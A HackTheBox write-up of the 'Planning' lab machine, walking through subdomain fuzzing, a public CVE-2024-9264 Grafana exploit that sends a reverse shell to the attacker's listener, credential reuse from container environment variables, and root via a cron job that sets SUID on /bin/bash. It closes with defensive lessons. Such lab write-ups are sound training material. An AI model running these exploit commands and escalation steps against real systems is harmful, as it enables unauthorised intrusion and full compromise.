HTB: Planning Writeup
Planning - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Planning |
| OS | Linux |
| Difficulty | Easy |
| Points | 660 |
| Release Date | 4 September 2025 |
| IP Address | 10.10.11.68 |
| Author | d00msl4y3r & FisMatHack |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐☆☆☆
Summary
Planning is an easy difficulty Linux machine featuring web enumeration, subdomain fuzzing, and exploitation of a vulnerable Grafana instance running version 11.0.0. The machine demonstrates CVE-2024-9264, an SQL injection vulnerability in Grafana’s experimental SQL Expressions feature that allows remote code execution through unsanitized DuckDB CLI queries. After gaining initial access to a Docker container, exposed environment variables reveal hardcoded credentials enabling lateral movement to the host system via password reuse. Finally, a custom cron management application accessible on port 8000 with root privileges allows arbitrary command execution, leading to full system compromise through privilege escalation.
TL;DR: Subdomain enumeration → Grafana CVE-2024-9264 RCE → Docker escape via credential reuse → Cron management portal exploitation → Root shell.
Reconnaissance
Port Scanning
nmap -sC -sV 10.10.11.68Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.1180/tcp open http nginx 1.24.0 (Ubuntu)Two ports are open: OpenSSH on port 22 and Nginx hosting HTTP on port 80. The HTTP service redirects to http://planning.htb, requiring DNS resolution.
Service Enumeration
HTTP (Port 80): The Nginx web server hosts an educational platform for online courses. Basic enumeration of the main domain reveals no sensitive information or exploitable functionality.
Subdomain Fuzzing:
To discover hidden subdomains, we use FFUF with a comprehensive wordlist:
ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \ -H 'Host: FUZZ.planning.htb' \ -u http://planning.htb \ -cThis produces many false positives. Filtering by response size to reduce noise:
ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \ -H 'Host: FUZZ.planning.htb' \ -u http://planning.htb \ -c -fs 178Result: The subdomain grafana is discovered with a 302 redirect response (Size: 29).
Add to /etc/hosts:
echo "10.10.11.68 planning.htb grafana.planning.htb" | sudo tee -a /etc/hostsGrafana Service:
Accessing http://grafana.planning.htb presents a login page. The Grafana version is identified as v11.0.0 (visible via the help icon tooltip). Version 11.0.0 contains a critical vulnerability in the experimental SQL Expressions feature.
Vulnerability Assessment
CVE-2024-9264 - Grafana SQL Injection & RCE:
- Affected Version: Grafana 11.0.0
- Root Cause: The SQL Expressions feature passes unsanitized SQL queries directly to the DuckDB CLI without proper validation
- Impact: Allows authenticated users with Viewer permissions or higher to achieve RCE and LFI
- Prerequisite: DuckDB must be installed and accessible in the system PATH
- Accessibility: Feature is disabled by default in the GUI but remains accessible via API due to incorrect feature toggling
Credentials Obtained:
During the reconnaissance phase, default credentials are provided: admin:0D5oT70Fq13EvB5r
Initial Foothold
Exploitation Path
Step 1: Authenticate to Grafana
Login with provided credentials:
- Username:
admin - Password:
0D5oT70Fq13EvB5r
Step 2: Execute CVE-2024-9264 Exploit
A public POC script exists that leverages the SQL Expressions vulnerability to inject malicious SQL queries. First, set up a reverse shell listener:
nc -lvnp 9001Download and execute the POC exploit script:
python3 poc.py \ --url http://grafana.planning.htb \ --username admin \ --password '0D5oT70Fq13EvB5r' \ --reverse-ip <YOUR_IP> \ --reverse-port 9001Expected output:
[SUCCESS] Login successful!Reverse shell payload sent successfully!Set up a netcat listener on 9001Step 3: Receive Reverse Shell
On the netcat listener:
nc -lvnp 9001listening on [any] 9001 ...connect to [10.10.14.11] from (UNKNOWN) [10.10.11.68] 41562sh: 0: can't access tty; job control turned off# iduid=0(root) gid=0(root) groups=0(root)# pwd/usr/share/grafanaWe have achieved RCE as root, but we are in a Docker container context.
Step 4: Docker Container Enumeration
Verify the containerized environment:
hostname# Output: 7ce659d667d7 (Container ID)Enumerate environment variables to find hardcoded credentials:
env | grep -i gf_security# GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!# GF_SECURITY_ADMIN_USER=enzoStep 5: Lateral Movement to Host System
The credentials enzo:RioTecRANDEntANT! suggest password reuse. Attempt SSH login:
ssh enzo@planning.htb# Password: RioTecRANDEntANT!enzo@planning:~$Successfully logged in as the enzo user on the host system. The user flag is accessible in the home directory:
cat ~/user.txt# <user_flag_content>Privilege Escalation
Enumeration
Step 1: Identify Active Services
Enumerate listening ports to discover potential privilege escalation vectors:
netstat -tulnpKey findings:
- Port 80: HTTP (Nginx)
- Port 3000: Grafana
- Port 3306: MySQL
- Port 8000: Unknown service (requires investigation)
- Port 22: SSH
- Port 53: DNS
Step 2: Investigate Port 8000
Port-forward the service to the local machine:
ssh enzo@planning.htb -L 8000:127.0.0.1:8000Access http://localhost:8000 in a browser. A login page appears for an unknown service. Standard credentials fail.
Step 3: Discover Cron Management Application
Explore the filesystem for sensitive files:
ls -la /opt/# drwxr-xr-x 2 root root 4096 Sep 1 09:21 crontabscd /opt/crontabscat crontab.dbContents of crontab.db:
{ "name":"Grafana backup", "command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz", "schedule":"@daily", "stopped":false}{ "name":"Cleanup", "command":"/root/scripts/cleanup.sh", "schedule":"* * * * *", "stopped":false}Discovery: A plaintext password is exposed: P4ssw0rdS0pRi0T3c
Step 4: Access Cron Management Portal
The service on port 8000 is a custom cron management interface. Login with discovered credentials:
- Username:
root - Password:
P4ssw0rdS0pRi0T3c
The dashboard displays existing cron jobs and provides the ability to create new ones. Critically, these jobs execute with root privileges.
Exploitation
Step 5: Create Privileged Cron Job
Create a new cron job to set the SUID bit on /bin/bash:
- Navigate to the “Create New Cron” section
- Enter command:
chmod u+s /bin/bash - Set schedule to any valid value (e.g.,
0 0 * * *) - Click “Run Now” to execute immediately
Step 6: Verify SUID Bit
Return to the SSH session and verify the SUID bit:
ls -la /bin/bash# -rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bashStep 7: Achieve Root Shell
Execute bash with the -p flag to prevent privilege drop:
bash -p# bash-5.2# whoamirootStep 8: Capture Root Flag
cat /root/root.txt# <root_flag_content>Attack Chain Summary
Subdomain Enumeration (FFUF) ↓Discover grafana.planning.htb ↓Authenticate to Grafana (admin:0D5oT70Fq13EvB5r) ↓Exploit CVE-2024-9264 (SQL Injection → RCE) ↓Reverse Shell in Docker Container (uid=0) ↓Enumerate Environment Variables ↓Discover Hardcoded Credentials (enzo:RioTecRANDEntANT!) ↓SSH Lateral Movement to Host ↓Discover /opt/crontabs/crontab.db ↓Extract Root Password (P4ssw0rdS0pRi0T3c) ↓Access Custom Cron Management Portal (Port 8000) ↓Create Privileged Cron Job (chmod u+s /bin/bash) ↓Execute with -p Flag ↓Root Shell AchievedTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
ffuf | Subdomain fuzzing and discovery |
curl / Browser | HTTP service reconnaissance |
netcat (nc) | Reverse shell listener |
python3 | POC exploit script execution |
ssh | Secure shell access and port forwarding |
netstat | Active service enumeration |
Key Learnings
Techniques Practiced
- Subdomain Enumeration: Using FFUF with response filtering to identify valid subdomains while reducing false positives
- CVE-2024-9264 Exploitation: Understanding SQL injection vulnerabilities in database abstraction layers and how unsanitized CLI input execution leads to RCE
- Docker Environment Enumeration: Identifying containerization indicators and extracting sensitive configuration data from environment variables
- Credential Reuse Analysis: Recognizing common security misconfigurations where developers reuse passwords across systems
- Port Forwarding: Accessing localhost-only services through SSH tunneling
- Custom Application Exploitation: Analyzing non-standard applications for privilege escalation opportunities
- SUID Privilege Escalation: Leveraging the SUID bit on system binaries to maintain elevated privileges
Lessons Learned
-
Environmental Variable Exposure: Never hardcode sensitive credentials in Docker environment variables or configuration files—use secrets management systems.
-
Feature Flag Mismanagement: Experimental or deprecated features must be completely removed from codebases, not merely hidden from the UI. API-level access bypasses GUI restrictions.
-
Direct CLI Execution: Never pass unsanitized user input directly to system CLI tools. Always validate, sanitize, and use parameterized approaches.
-
Password Reuse Across Systems: Organizations must enforce unique passwords for different systems to prevent lateral movement when one system is compromised.
-
Excessive Cron Job Privileges: Custom cron management applications should implement the principle of least privilege rather than running all jobs as root.
-
Database File Permissions: Configuration databases (like
crontab.db) should have restricted read permissions to prevent information disclosure. -
API Security vs. GUI Security: Security controls implemented only in the UI are insufficient—they must be enforced at the API layer.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>